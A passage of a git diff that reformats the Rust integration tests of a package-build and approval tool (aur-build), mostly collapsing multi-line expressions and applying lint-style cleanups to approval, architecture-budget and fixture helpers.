summaryrefslogtreecommitdiffstats
path: root/tests
diff options
context:
space:
mode:
Diffstat (limited to 'tests')
-rw-r--r--tests/approve.rs47
-rw-r--r--tests/architecture.rs220
-rw-r--r--tests/common/mod.rs86
-rw-r--r--tests/config.rs28
-rw-r--r--tests/crash.rs16
-rw-r--r--tests/db.rs56
-rw-r--r--tests/detect.rs53
-rw-r--r--tests/dispatch.rs15
-rw-r--r--tests/failure_modes.rs19
-rw-r--r--tests/http.rs66
-rw-r--r--tests/invariants.rs90
-rw-r--r--tests/kata.rs5
-rw-r--r--tests/live.rs8
-rw-r--r--tests/notices.rs24
-rw-r--r--tests/ops.rs66
-rw-r--r--tests/pipeline.rs77
-rw-r--r--tests/production_surface.rs26
-rw-r--r--tests/remote_agent.rs21
-rw-r--r--tests/schema_ownership.rs20
-rw-r--r--tests/shims.rs86
-rw-r--r--tests/staleness.rs19
-rw-r--r--tests/state_machine.rs24
-rw-r--r--tests/surfaces.rs30
-rw-r--r--tests/time.rs5
-rw-r--r--tests/vcs.rs10
-rw-r--r--tests/versions.rs6
-rw-r--r--tests/world.rs23
27 files changed, 357 insertions, 789 deletions
diff --git a/tests/approve.rs b/tests/approve.rs
index c5be8e0..97423b3 100644
--- a/tests/approve.rs
+++ b/tests/approve.rs
@@ -45,7 +45,7 @@ fn approve_writes_an_immutable_row_carrying_both_hashes() {
.read(|c| {
let mut st = c.prepare("SELECT action FROM audit ORDER BY id")?;
let rows = st.query_map([], |r| r.get::<_, String>(0))?;
- Ok(rows.filter_map(|r| r.ok()).collect())
+ Ok(rows.filter_map(std::result::Result::ok).collect())
})
.unwrap();
assert!(actions.iter().any(|a| a == "approve"), "{actions:?}");
@@ -115,17 +115,9 @@ fn bulk_refusals_are_their_own_reasons() {
let items = [(c.id, c.identity_hash.clone(), dd.clone())];
let out = bulk(&env.db, "tester", &items, "approve", &[]).unwrap();
- assert!(
- matches!(out[0].outcome, BulkOutcome::Refused(BulkRefusal::HighRiskUnconfirmed)),
- "{:?}",
- out[0].outcome
- );
+ assert!(matches!(out[0].outcome, BulkOutcome::Refused(BulkRefusal::HighRiskUnconfirmed)), "{:?}", out[0].outcome);
let out = bulk(&env.db, "tester", &items, "ship-it", &[]).unwrap();
- assert!(
- matches!(out[0].outcome, BulkOutcome::Refused(BulkRefusal::UnknownDecision(_))),
- "{:?}",
- out[0].outcome
- );
+ assert!(matches!(out[0].outcome, BulkOutcome::Refused(BulkRefusal::UnknownDecision(_))), "{:?}", out[0].outcome);
let out = bulk(&env.db, "tester", &items, "approve", &[c.id]).unwrap();
assert!(matches!(out[0].outcome, BulkOutcome::Approved(_)), "{:?}", out[0].outcome);
let out = bulk(&env.db, "tester", &items, "approve", &[c.id]).unwrap();
@@ -200,11 +192,7 @@ fn reject_requires_a_reason_and_records_it() {
let note: String = env
.db
.read(|c| {
- Ok(c.query_row(
- "SELECT note FROM approval WHERE candidate_id=?1",
- rusqlite::params![cid],
- |r| r.get(0),
- )?)
+ Ok(c.query_row("SELECT note FROM approval WHERE candidate_id=?1", rusqlite::params![cid], |r| r.get(0))?)
})
.unwrap();
assert!(note.contains("license"), "{note}");
@@ -220,10 +208,7 @@ fn reject_requires_a_reason_and_records_it() {
})
.unwrap();
assert_eq!(actor_kind, "human");
- assert!(
- detail.contains(&c.identity_hash),
- "the audit row does not say which review bytes were rejected: {detail}"
- );
+ assert!(detail.contains(&c.identity_hash), "the audit row does not say which review bytes were rejected: {detail}");
}
// ------------------------------------------------------------- the CLI path --
@@ -266,7 +251,7 @@ fn cli_end_to_end_approves_and_queues_a_build() {
assert!(shown.contains("PKGBUILD") || shown.contains("pkgver"), "diff pane: {shown}");
let out = cli(bin, &root, &["approve", "1", "--yes"]);
- assert_eq!(out.code, Some(2), "stale approval should exit 2: {:?}", out);
+ assert_eq!(out.code, Some(2), "stale approval should exit 2: {out:?}");
}
#[test]
@@ -280,7 +265,7 @@ fn cli_approve_refuses_a_hash_that_was_never_shown() {
cli(bin, &root, &["subscribe", "plain-make", "--url", &url]);
cli(bin, &root, &["detect", "plain-make"]);
let out = cli(bin, &root, &["approve", "1", "--yes", "--identity", "sha256:invented", "--diff", "sha256:invented"]);
- assert_eq!(out.code, Some(2), "must refuse: {:?}", out);
+ assert_eq!(out.code, Some(2), "must refuse: {out:?}");
assert!(out.stderr.contains("refused"), "stderr: {}", out.stderr);
assert_eq!(cli_count(&root, "approval"), 0);
}
@@ -294,12 +279,7 @@ struct Out {
}
fn cli(bin: &str, root: &std::path::Path, args: &[&str]) -> Out {
- let out = std::process::Command::new(bin)
- .arg("--root")
- .arg(root)
- .args(args)
- .output()
- .expect("run aur-build");
+ let out = std::process::Command::new(bin).arg("--root").arg(root).args(args).output().expect("run aur-build");
Out {
code: out.status.code(),
status: out.status,
@@ -314,11 +294,8 @@ fn cli_fixture(root: &std::path::Path, name: &str) -> (std::path::PathBuf, Fixtu
}
fn cli_count(root: &std::path::Path, table: &str) -> i64 {
- let conn = rusqlite::Connection::open_with_flags(
- root.join("aur-build.db"),
- rusqlite::OpenFlags::SQLITE_OPEN_READ_ONLY,
- )
- .expect("open cli db");
- conn.query_row(&format!("SELECT count(*) FROM {table}"), [], |r| r.get::<_, i64>(0))
- .unwrap()
+ let conn =
+ rusqlite::Connection::open_with_flags(root.join("aur-build.db"), rusqlite::OpenFlags::SQLITE_OPEN_READ_ONLY)
+ .expect("open cli db");
+ conn.query_row(&format!("SELECT count(*) FROM {table}"), [], |r| r.get::<_, i64>(0)).unwrap()
}
diff --git a/tests/architecture.rs b/tests/architecture.rs
index b32ea54..7159b32 100644
--- a/tests/architecture.rs
+++ b/tests/architecture.rs
@@ -106,10 +106,7 @@ fn test_files() -> Vec<PathBuf> {
/// any of them.
fn module_of(path: &Path) -> String {
let rel = path.strip_prefix(src_root()).unwrap();
- let parts: Vec<String> = rel
- .components()
- .map(|c| c.as_os_str().to_string_lossy().into_owned())
- .collect();
+ let parts: Vec<String> = rel.components().map(|c| c.as_os_str().to_string_lossy().into_owned()).collect();
match parts.as_slice() {
[only] => only.trim_end_matches(".rs").to_string(),
[head, rest @ ..] if head == "bin" => {
@@ -125,9 +122,7 @@ fn is_comment(line: &str) -> bool {
}
fn word_tail(rest: &str) -> String {
- rest.chars()
- .take_while(|c| c.is_alphanumeric() || *c == '_')
- .collect()
+ rest.chars().take_while(|c| c.is_alphanumeric() || *c == '_').collect()
}
/// The name a `pub` declaration introduces, if this line declares one. `pub
@@ -153,7 +148,7 @@ fn pub_crate_decl(line: &str) -> Option<String> {
return None;
}
let rest = line.trim_start().strip_prefix("pub(crate) ")?;
- let keyword = DECL_KEYWORDS.into_iter().find(|kw| rest.starts_with(&format!("{kw} "))) ?;
+ let keyword = DECL_KEYWORDS.into_iter().find(|kw| rest.starts_with(&format!("{kw} ")))?;
let name = word_tail(&rest[keyword.len() + 1..]);
(!name.is_empty()).then_some(name)
}
@@ -163,13 +158,7 @@ fn is_glob_reexport(line: &str) -> bool {
return false;
}
let t = line.trim_start();
- let after = match t
- .strip_prefix("pub(crate) use ")
- .or_else(|| t.strip_prefix("pub use "))
- {
- Some(after) => after,
- None => return false,
- };
+ let Some(after) = t.strip_prefix("pub(crate) use ").or_else(|| t.strip_prefix("pub use ")) else { return false };
after.contains("::*")
}
@@ -238,14 +227,10 @@ struct Census {
impl Census {
fn take() -> Census {
let files = src_files();
- let texts: Vec<(PathBuf, String)> = files
- .iter()
- .map(|f| (f.clone(), std::fs::read_to_string(f).expect("read source")))
- .collect();
- let test_texts: Vec<String> = test_files()
- .iter()
- .map(|f| std::fs::read_to_string(f).expect("read test"))
- .collect();
+ let texts: Vec<(PathBuf, String)> =
+ files.iter().map(|f| (f.clone(), std::fs::read_to_string(f).expect("read source"))).collect();
+ let test_texts: Vec<String> =
+ test_files().iter().map(|f| std::fs::read_to_string(f).expect("read test")).collect();
let mut modules: BTreeMap<String, Module> = BTreeMap::new();
let allowlist = allowed_pub_items();
@@ -278,9 +263,8 @@ impl Census {
for module in declaring {
modules.get_mut(module).unwrap().pub_items += 1;
}
- let read_outside = texts
- .iter()
- .any(|(path, text)| !declaring.contains(&module_of(path)) && mentions(text, name));
+ let read_outside =
+ texts.iter().any(|(path, text)| !declaring.contains(&module_of(path)) && mentions(text, name));
if read_outside {
continue;
}
@@ -319,9 +303,7 @@ impl Census {
}
let over_allow = allowed_overwide_items();
for (name, files) in &pc_declared {
- let read_outside = texts
- .iter()
- .any(|(path, text)| !files.contains(path) && mentions(text, name));
+ let read_outside = texts.iter().any(|(path, text)| !files.contains(path) && mentions(text, name));
if read_outside {
continue;
}
@@ -360,19 +342,10 @@ impl Census {
/// The budget file, as `module -> key -> allowed`.
fn budget() -> BTreeMap<String, BTreeMap<String, usize>> {
let path = root().join("tests/architecture-budget.json");
- let text = std::fs::read_to_string(&path).unwrap_or_else(|e| {
- panic!(
- "read {}: {}",
- path.display(),
- e
- )
- });
+ let text = std::fs::read_to_string(&path).unwrap_or_else(|e| panic!("read {}: {}", path.display(), e));
let value: serde_json::Value = serde_json::from_str(&text).expect("budget file is json");
let mut out = BTreeMap::new();
- let modules = value
- .get("modules")
- .and_then(|m| m.as_object())
- .expect("budget file has a modules object");
+ let modules = value.get("modules").and_then(|m| m.as_object()).expect("budget file has a modules object");
for (module, row) in modules {
let mut keys = BTreeMap::new();
if let Some(row) = row.as_object() {
@@ -394,19 +367,14 @@ fn allowed_pub_items() -> BTreeSet<String> {
let path = root().join("tests/architecture-budget.json");
let text = std::fs::read_to_string(&path).unwrap_or_else(|e| panic!("read {}: {}", path.display(), e));
let value: serde_json::Value = serde_json::from_str(&text).expect("budget file is json");
- value
- .get("dead_code")
- .and_then(|d| d.get("allowlist"))
- .and_then(|a| a.as_object())
- .map(|a| {
- a.keys()
- .map(|k| {
- assert!(!k.trim().is_empty(), "an allowlist key cannot be blank");
- k.clone()
- })
- .collect()
- })
- .unwrap_or_default()
+ value.get("dead_code").and_then(|d| d.get("allowlist")).and_then(|a| a.as_object()).map_or_default(|a| {
+ a.keys()
+ .map(|k| {
+ assert!(!k.trim().is_empty(), "an allowlist key cannot be blank");
+ k.clone()
+ })
+ .collect()
+ })
}
/// The `over_visibility.allowlist` keys — `module.item` for every `pub(crate)`
@@ -415,19 +383,14 @@ fn allowed_overwide_items() -> BTreeSet<String> {
let path = root().join("tests/architecture-budget.json");
let text = std::fs::read_to_string(&path).unwrap_or_else(|e| panic!("read {}: {}", path.display(), e));
let value: serde_json::Value = serde_json::from_str(&text).expect("budget file is json");
- value
- .get("over_visibility")
- .and_then(|d| d.get("allowlist"))
- .and_then(|a| a.as_object())
- .map(|a| {
- a.keys()
- .map(|k| {
- assert!(!k.trim().is_empty(), "an over-wide permission key cannot be blank");
- k.clone()
- })
- .collect()
- })
- .unwrap_or_default()
+ value.get("over_visibility").and_then(|d| d.get("allowlist")).and_then(|a| a.as_object()).map_or_default(|a| {
+ a.keys()
+ .map(|k| {
+ assert!(!k.trim().is_empty(), "an over-wide permission key cannot be blank");
+ k.clone()
+ })
+ .collect()
+ })
}
/// A top-level section of the budget file, as `key -> allowed`.
@@ -450,20 +413,13 @@ fn budget_section(section: &str) -> BTreeMap<String, usize> {
}
fn rank_of(module: &str) -> Option<u8> {
- RANKS
- .iter()
- .find(|(name, _, _)| *name == module)
- .map(|(_, rank, _)| *rank)
+ RANKS.iter().find(|(name, _, _)| *name == module).map(|(_, rank, _)| *rank)
}
#[test]
fn every_module_is_on_the_map() {
let census = Census::take();
- let unmapped: Vec<&String> = census
- .modules
- .keys()
- .filter(|m| rank_of(m).is_none())
- .collect();
+ let unmapped: Vec<&String> = census.modules.keys().filter(|m| rank_of(m).is_none()).collect();
assert!(
unmapped.is_empty(),
"these modules have no rank, so nothing says what they may depend on: {unmapped:#?}\n\
@@ -474,11 +430,7 @@ fn every_module_is_on_the_map() {
#[test]
fn the_map_names_no_module_twice() {
let mut seen = BTreeSet::new();
- let dupes: Vec<&str> = RANKS
- .iter()
- .filter(|(name, _, _)| !seen.insert(*name))
- .map(|(name, _, _)| *name)
- .collect();
+ let dupes: Vec<&str> = RANKS.iter().filter(|(name, _, _)| !seen.insert(*name)).map(|(name, _, _)| *name).collect();
assert!(dupes.is_empty(), "RANKS lists {dupes:?} twice; the second entry is dead weight");
for (_, _, reason) in RANKS {
assert!(reason.len() > 12, "a rank needs a reason, not a shrug: {reason:?}");
@@ -552,11 +504,7 @@ fn glob_reexports_stay_on_the_allowlist() {
let census = Census::take();
let mut offenders = Vec::new();
for (module, row) in &census.modules {
- let allowed = GLOB_ALLOWLIST
- .iter()
- .find(|(m, _)| m == module)
- .map(|(_, n)| *n)
- .unwrap_or(0);
+ let allowed = GLOB_ALLOWLIST.iter().find(|(m, _)| m == module).map_or(0, |(_, n)| *n);
if row.globs > allowed {
offenders.push(format!("{module}: {} glob re-exports, {allowed} allowed", row.globs));
}
@@ -642,10 +590,7 @@ fn the_census_tool_and_this_test_agree() {
// Two implementations of one definition will drift, and a drift means the
// ratchet is measuring the wrong thing. Gated the way the vercmp oracle is:
// without python3 the note prints and the suite moves on.
- let available = std::process::Command::new("python3")
- .arg("--version")
- .output()
- .is_ok();
+ let available = std::process::Command::new("python3").arg("--version").output().is_ok();
if !available {
println!("python3 is not on PATH — skipping the census cross-check");
return;
@@ -676,7 +621,7 @@ fn the_census_tool_and_this_test_agree() {
("overwide", mine.over_wide),
("glob", mine.globs),
] {
- let got = row.get(key).and_then(|v| v.as_u64()).unwrap_or(u64::MAX) as usize;
+ let got = row.get(key).and_then(serde_json::Value::as_u64).unwrap_or(u64::MAX) as usize;
if got != theirs {
disagreements.push(format!("{module}.{key}: tool {got}, test {theirs}"));
}
@@ -713,11 +658,7 @@ fn the_census_tool_and_this_test_agree() {
/// while it is worked down by changing tests rather than visibilities.
#[test]
fn the_test_surface_is_disposed_of() {
- if !std::process::Command::new("python3")
- .arg("--version")
- .output()
- .is_ok()
- {
+ if !std::process::Command::new("python3").arg("--version").output().is_ok() {
println!("python3 is not on PATH — skipping the test-surface check");
return;
}
@@ -727,11 +668,7 @@ fn the_test_surface_is_disposed_of() {
.current_dir(root())
.output()
.expect("run tools/test-surface.py");
- assert!(
- out.status.success(),
- "tools/test-surface.py failed: {}",
- String::from_utf8_lossy(&out.stderr)
- );
+ assert!(out.status.success(), "tools/test-surface.py failed: {}", String::from_utf8_lossy(&out.stderr));
let report: serde_json::Value = serde_json::from_slice(&out.stdout).expect("test-surface json");
let rows = report.get("rows").and_then(|r| r.as_array()).expect("rows");
@@ -741,7 +678,7 @@ fn the_test_surface_is_disposed_of() {
let name = row.get("name").and_then(|v| v.as_str()).unwrap_or("?");
let module = row.get("module").and_then(|v| v.as_str()).unwrap_or("?");
let disp = row.get("disp").and_then(|v| v.as_str()).unwrap_or("?");
- if !row.get("hand_written").and_then(|v| v.as_bool()).unwrap_or(false) {
+ if !row.get("hand_written").and_then(serde_json::Value::as_bool).unwrap_or(false) {
unreasoned.push(format!("{module}.{name} ({disp})"));
}
// Every piece of in-module evidence for this item is a call in method
@@ -749,11 +686,12 @@ fn the_test_surface_is_disposed_of() {
// from `listener.local_addr()` — the latter is std's, on a different
// type, and it once made a function with no callers look production-used.
// So these rows are named for a human and stay failing until confirmed.
- if row.get("dotted_only").and_then(|v| v.as_bool()).unwrap_or(false)
+ if row.get("dotted_only").and_then(serde_json::Value::as_bool).unwrap_or(false)
&& disp != "already-gated"
- && !row.get("confirmed").and_then(|v| v.as_bool()).unwrap_or(false)
+ && !row.get("confirmed").and_then(serde_json::Value::as_bool).unwrap_or(false)
{
- unconfirmed.push(format!("{module}.{name} at {}", row.get("where").and_then(|v| v.as_str()).unwrap_or("?")));
+ unconfirmed
+ .push(format!("{module}.{name} at {}", row.get("where").and_then(|v| v.as_str()).unwrap_or("?")));
}
}
assert!(
@@ -781,8 +719,8 @@ fn the_test_surface_is_disposed_of() {
// so a human has to say which item the mention meant and record the verdict.
let mut unadjudicated = Vec::new();
for row in rows {
- if row.get("ambiguous").and_then(|v| v.as_bool()).unwrap_or(false)
- && !row.get("adjudicated").and_then(|v| v.as_bool()).unwrap_or(false)
+ if row.get("ambiguous").and_then(serde_json::Value::as_bool).unwrap_or(false)
+ && !row.get("adjudicated").and_then(serde_json::Value::as_bool).unwrap_or(false)
{
unadjudicated.push(format!(
"{}:{} at {}",
@@ -808,7 +746,7 @@ fn the_test_surface_is_disposed_of() {
let mut looser = Vec::new();
let mut tighter = Vec::new();
for (key, ceiling) in surface {
- let actual = counts.get(key).and_then(|v| v.as_u64()).unwrap_or(0) as usize;
+ let actual = counts.get(key).and_then(serde_json::Value::as_u64).unwrap_or(0) as usize;
if actual > *ceiling {
looser.push(format!("{key}: budget {ceiling}, actual {actual}"));
} else if actual < *ceiling {
@@ -857,10 +795,7 @@ fn the_release_build_exports_nothing_that_only_tests_reach() {
"a release build still exports something only the test tier needs:\n{text}{}",
String::from_utf8_lossy(&out.stderr)
);
- assert!(
- text.contains("nothing leaked"),
- "the probe did not report success:\n{text}"
- );
+ assert!(text.contains("nothing leaked"), "the probe did not report success:\n{text}");
}
/// The `dead_code.allowlist` is a set of decisions, so it has to stay in step
@@ -908,7 +843,7 @@ fn the_dead_code_allowlist_names_real_items() {
stale.push(format!("{key}: a key is `module.item`"));
continue;
};
- if reason.as_str().map(|r| r.trim().len() < 20).unwrap_or(true) {
+ if reason.as_str().is_none_or(|r| r.trim().len() < 20) {
blank.push(key.clone());
}
if !declared.get(module).is_some_and(|names| names.contains(name)) {
@@ -968,13 +903,10 @@ fn the_over_visibility_allowlist_names_real_items() {
stale.push(format!("{key}: a key is `module.item`"));
continue;
};
- if reason.as_str().map(|r| r.trim().len() < 20).unwrap_or(true) {
+ if reason.as_str().is_none_or(|r| r.trim().len() < 20) {
blank.push(key.clone());
}
- if !pub_crate_declared
- .get(module)
- .is_some_and(|names| names.contains(name))
- {
+ if !pub_crate_declared.get(module).is_some_and(|names| names.contains(name)) {
stale.push(format!("{key} at {reason}"));
}
}
@@ -1041,13 +973,11 @@ fn the_test_helpers_are_used() {
continue;
}
// Everything this declaration introduces, minus the declaration itself.
- let mut corpus = others
- .replace(&format!("pub {kind}{name}"), "")
- .replace(&format!("{kind}{name}"), "");
+ let mut corpus = others.replace(&format!("pub {kind}{name}"), "").replace(&format!("{kind}{name}"), "");
if kind != "fn " {
// Members of a struct or enum count as uses of the type.
let mut depth = 0;
- for follow in lines[i..].iter() {
+ for follow in &lines[i..] {
depth += follow.matches('{').count() as i32 - follow.matches('}').count() as i32;
if depth > 1 {
let member = follow
@@ -1095,7 +1025,7 @@ fn every_fixture_is_referenced() {
}
let unreferenced: Vec<String> = std::fs::read_dir(&corpus)
.expect("read testcorpus")
- .filter_map(|e| e.ok())
+ .filter_map(std::result::Result::ok)
.filter(|e| e.file_type().is_ok_and(|t| t.is_dir()))
.map(|e| e.file_name().to_string_lossy().to_string())
.filter(|name| !mentions(&names, name))
@@ -1122,27 +1052,18 @@ fn the_dead_code_budget_matches_the_code() {
let value: serde_json::Value =
serde_json::from_str(&std::fs::read_to_string(&path).expect("read budget")).expect("budget is json");
let modules = value.get("modules").and_then(|m| m.as_object()).expect("modules");
- let dead_code = value
- .get("dead_code")
- .and_then(|d| d.get("deadonly"))
- .and_then(|d| d.as_object())
- .expect("dead_code.deadonly");
+ let dead_code =
+ value.get("dead_code").and_then(|d| d.get("deadonly")).and_then(|d| d.as_object()).expect("dead_code.deadonly");
let census = Census::take();
let mut mismatch = Vec::new();
for (module, row) in modules {
- let interface = row.get("deadonly").and_then(|v| v.as_u64()).unwrap_or(u64::MAX);
- let dead = dead_code.get(module).and_then(|v| v.as_u64());
- let actual = census
- .modules
- .get(module)
- .map(|m| m.dead_only as u64)
- .unwrap_or(u64::MAX);
+ let interface = row.get("deadonly").and_then(serde_json::Value::as_u64).unwrap_or(u64::MAX);
+ let dead = dead_code.get(module).and_then(serde_json::Value::as_u64);
+ let actual = census.modules.get(module).map_or(u64::MAX, |m| m.dead_only as u64);
if dead != Some(interface) || interface != actual {
- mismatch.push(format!(
- "{module}: dead_code.deadonly {:?}, modules.deadonly {interface}, actual {actual}",
- dead
- ));
+ mismatch
+ .push(format!("{module}: dead_code.deadonly {dead:?}, modules.deadonly {interface}, actual {actual}"));
}
}
for module in dead_code.keys() {
@@ -1177,17 +1098,12 @@ fn the_over_visibility_budget_matches_the_code() {
let mut mismatch = Vec::new();
for (module, row) in modules {
- let stated = row.get("overwide").and_then(|v| v.as_u64()).unwrap_or(u64::MAX);
- let accepted = over.get(module).and_then(|v| v.as_u64());
- let actual = census
- .modules
- .get(module)
- .map(|m| m.over_wide as u64)
- .unwrap_or(u64::MAX);
+ let stated = row.get("overwide").and_then(serde_json::Value::as_u64).unwrap_or(u64::MAX);
+ let accepted = over.get(module).and_then(serde_json::Value::as_u64);
+ let actual = census.modules.get(module).map_or(u64::MAX, |m| m.over_wide as u64);
if accepted != Some(stated) || stated != actual {
mismatch.push(format!(
- "{module}: over_visibility.overwide {:?}, modules.overwide {stated}, actual {actual}",
- accepted
+ "{module}: over_visibility.overwide {accepted:?}, modules.overwide {stated}, actual {actual}"
));
}
}
@@ -1228,14 +1144,10 @@ fn the_budget_writers_preserve_each_other() {
.output()
.unwrap_or_else(|e| panic!("run {tool}: {e}"));
assert!(out.status.success(), "{tool} failed: {}", String::from_utf8_lossy(&out.stderr));
- let after: serde_json::Value =
- serde_json::from_str(&std::fs::read_to_string(&tmp).expect("read temp budget"))
- .expect("written budget is json");
+ let after: serde_json::Value = serde_json::from_str(&std::fs::read_to_string(&tmp).expect("read temp budget"))
+ .expect("written budget is json");
for section in ["test_surface", "dead_code", "over_visibility"] {
- assert!(
- after.get(section).is_some(),
- "{tool} erased the `{section}` section it does not own"
- );
+ assert!(after.get(section).is_some(), "{tool} erased the `{section}` section it does not own");
}
assert_eq!(
after["dead_code"]["allowlist"], before["dead_code"]["allowlist"],
diff --git a/tests/common/mod.rs b/tests/common/mod.rs
index 23049ea..fa0beea 100644
--- a/tests/common/mod.rs
+++ b/tests/common/mod.rs
@@ -7,6 +7,7 @@
#![allow(dead_code)]
use std::collections::HashMap;
+use std::fmt::Write as _;
use std::path::{Path, PathBuf};
use std::sync::{LazyLock, Mutex, OnceLock};
@@ -22,11 +23,7 @@ pub struct Env {
impl Env {
pub fn new() -> Self {
let tmp = tempfile::tempdir().expect("tempdir");
- let cfg = Config {
- root: tmp.path().to_path_buf(),
- signing_key_id: "TESTKEY".into(),
- ..Config::default()
- };
+ let cfg = Config { root: tmp.path().to_path_buf(), signing_key_id: "TESTKEY".into(), ..Config::default() };
Self::with_cfg(tmp, cfg)
}
@@ -164,8 +161,7 @@ impl Env {
})
.collect();
use rusqlite::OptionalExtension;
- Ok(c.query_row(&sql, rusqlite::params_from_iter(refs.iter()), |r| r.get::<_, i64>(0))
- .optional()?)
+ Ok(c.query_row(&sql, rusqlite::params_from_iter(refs.iter()), |r| r.get::<_, i64>(0)).optional()?)
})
.unwrap()
}
@@ -183,8 +179,7 @@ impl Env {
})
.collect();
use rusqlite::OptionalExtension;
- Ok(c.query_row(&sql, rusqlite::params_from_iter(refs.iter()), |r| r.get::<_, String>(0))
- .optional()?)
+ Ok(c.query_row(&sql, rusqlite::params_from_iter(refs.iter()), |r| r.get::<_, String>(0)).optional()?)
})
.unwrap()
}
@@ -229,10 +224,7 @@ pub fn corpus_root() -> PathBuf {
}
pub fn shim_dir() -> PathBuf {
- Path::new(&env!("CARGO_BIN_EXE_makechrootpkg"))
- .parent()
- .unwrap()
- .to_path_buf()
+ Path::new(&env!("CARGO_BIN_EXE_makechrootpkg")).parent().unwrap().to_path_buf()
}
pub fn env_with_fixture(name: &str) -> (Env, Fixture) {
@@ -339,12 +331,7 @@ struct Corpus {
fn read_corpus(name: &str) -> Corpus {
let src = corpus_root().join(name);
- let mut corpus = Corpus {
- recipe_files: Vec::new(),
- data_files: Vec::new(),
- upstream: false,
- upstream2: false,
- };
+ let mut corpus = Corpus { recipe_files: Vec::new(), data_files: Vec::new(), upstream: false, upstream2: false };
for entry in std::fs::read_dir(&src).unwrap() {
let path = entry.unwrap().path();
let fname = path.file_name().unwrap().to_string_lossy().to_string();
@@ -380,14 +367,11 @@ static PRISTINE: LazyLock<Mutex<HashMap<String, Pristine>>> = LazyLock::new(|| M
static CACHE_ROOT: OnceLock<tempfile::TempDir> = OnceLock::new();
fn pristine_fixture(name: &str) -> Pristine {
- let mut cache = PRISTINE.lock().unwrap_or_else(|e| e.into_inner());
+ let mut cache = PRISTINE.lock().unwrap_or_else(std::sync::PoisonError::into_inner);
if let Some(found) = cache.get(name) {
return found.clone();
}
- let root = CACHE_ROOT
- .get_or_init(|| tempfile::tempdir().expect("fixture cache"))
- .path()
- .to_path_buf();
+ let root = CACHE_ROOT.get_or_init(|| tempfile::tempdir().expect("fixture cache")).path().to_path_buf();
let corpus = read_corpus(name);
let data = root.join(format!("{name}/fixture"));
@@ -411,21 +395,15 @@ fn pristine_fixture(name: &str) -> Pristine {
}
if corpus.upstream {
make_git_repo(&upstream, &[("README", "upstream\n")], "upstream: initial");
- if std::fs::read_to_string(corpus_root().join(name).join("PKGBUILD"))
- .unwrap_or_default()
- .contains("#tag=")
- {
+ if std::fs::read_to_string(corpus_root().join(name).join("PKGBUILD")).unwrap_or_default().contains("#tag=") {
git(&upstream, &["tag", "v1"]);
}
}
if corpus.upstream2 {
make_git_repo(&upstream2, &[("README", "second upstream\n")], "upstream: initial");
}
- let recipe: Vec<(&str, String)> = corpus
- .recipe_files
- .iter()
- .map(|(n, b)| (n.as_str(), substitute(b, &subs)))
- .collect();
+ let recipe: Vec<(&str, String)> =
+ corpus.recipe_files.iter().map(|(n, b)| (n.as_str(), substitute(b, &subs))).collect();
make_git_repo(&aur, &recipe.iter().map(|(n, b)| (*n, b.as_str())).collect::<Vec<_>>(), "initial");
let pristine = Pristine {
@@ -460,9 +438,8 @@ fn copy_tree(from: &Path, to: &Path) {
if entry.file_type().unwrap().is_dir() {
copy_tree(&path, &target);
} else {
- std::fs::copy(&path, &target).unwrap_or_else(|e| {
- panic!("copying {} to {}: {e}", path.display(), target.display())
- });
+ std::fs::copy(&path, &target)
+ .unwrap_or_else(|e| panic!("copying {} to {}: {e}", path.display(), target.display()));
}
}
}
@@ -485,7 +462,9 @@ impl Fixture {
for line in text.lines() {
let key = line.split('=').next().unwrap_or("").to_string();
match changes.iter().find(|(k, _)| *k == key) {
- Some((_, v)) => out.push_str(&format!("{key}={v}\n")),
+ Some((_, v)) => {
+ let _ = writeln!(out, "{key}={v}");
+ }
None => out.push_str(line),
}
out.push('\n');
@@ -583,11 +562,7 @@ pub fn git(dir: &Path, args: &[&str]) -> String {
.env("GIT_COMMITTER_EMAIL", "t@example.invalid")
.output()
.expect("git");
- assert!(
- out.status.success(),
- "git {args:?} failed: {}",
- String::from_utf8_lossy(&out.stderr)
- );
+ assert!(out.status.success(), "git {args:?} failed: {}", String::from_utf8_lossy(&out.stderr));
String::from_utf8_lossy(&out.stdout).trim().to_string()
}
@@ -626,7 +601,7 @@ impl Web {
.0
.iter()
.find(|(k, _)| k == "set-cookie")
- .and_then(|(_, v)| v.split(';').next().map(|s| s.to_string()))
+ .and_then(|(_, v)| v.split(';').next().map(std::string::ToString::to_string))
.unwrap_or_default();
let body = web.get("/");
web.csrf = extract(&body.body, "name=\"csrf\" content=\"", "\"").unwrap_or_default();
@@ -660,7 +635,7 @@ impl Web {
Err(ureq::Error::Status(_, r)) => r,
Err(e) => panic!("GET {path}: {e}"),
};
- let cookie = r.header("set-cookie").map(|s| s.to_string()).unwrap_or_default();
+ let cookie = r.header("set-cookie").map_or_default(std::string::ToString::to_string);
let mut headers = vec![("set-cookie".to_string(), cookie)];
for name in ["content-type", "content-encoding", "location"] {
if let Some(v) = r.header(name) {
@@ -672,17 +647,17 @@ impl Web {
pub fn get(&self, path: &str) -> Page {
let resp = ureq::get(&self.url(path)).set("Cookie", &self.cookie).call();
- self.finish(resp, path)
+ Self::finish(resp, path)
}
pub fn post(&self, path: &str, form: &[(&str, &str)]) -> Page {
let resp = ureq::post(&self.url(path)).set("Cookie", &self.cookie).send_form(form);
- self.finish(resp, path)
+ Self::finish(resp, path)
}
pub fn post_bare(&self, path: &str, form: &[(&str, &str)]) -> Page {
let resp = ureq::post(&self.url(path)).set("Cookie", &self.cookie).send_form(form);
- self.finish(resp, path)
+ Self::finish(resp, path)
}
pub fn raw_request(&self, method: &str, path: &str, headers: &[(&str, String)], body: Option<&str>) -> Raw {
@@ -691,12 +666,12 @@ impl Web {
let mut sock = std::net::TcpStream::connect(&addr).unwrap();
let mut req = format!("{method} {path} HTTP/1.1\r\nHost: {addr}\r\nConnection: close\r\n");
for (k, v) in headers {
- req.push_str(&format!("{k}: {v}\r\n"));
+ let _ = writeln!(req, "{k}: {v}\r");
}
match body {
Some(b) => {
req.push_str("Content-Type: application/x-www-form-urlencoded\r\n");
- req.push_str(&format!("Content-Length: {}\r\n", b.len()));
+ let _ = writeln!(req, "Content-Length: {}\r", b.len());
req.push_str("\r\n");
req.push_str(b);
}
@@ -718,7 +693,7 @@ impl Web {
raw
}
- fn finish(&self, resp: Result<ureq::Response, ureq::Error>, path: &str) -> Page {
+ fn finish(resp: Result<ureq::Response, ureq::Error>, path: &str) -> Page {
match resp {
Ok(r) => Page { status: r.status(), body: r.into_string().unwrap_or_default() },
Err(ureq::Error::Status(code, r)) => Page { status: code, body: r.into_string().unwrap_or_default() },
@@ -735,10 +710,7 @@ pub struct Raw {
impl Raw {
fn parse(raw: &[u8]) -> Self {
- let split = raw
- .windows(4)
- .position(|w| w == b"\r\n\r\n")
- .unwrap_or(raw.len());
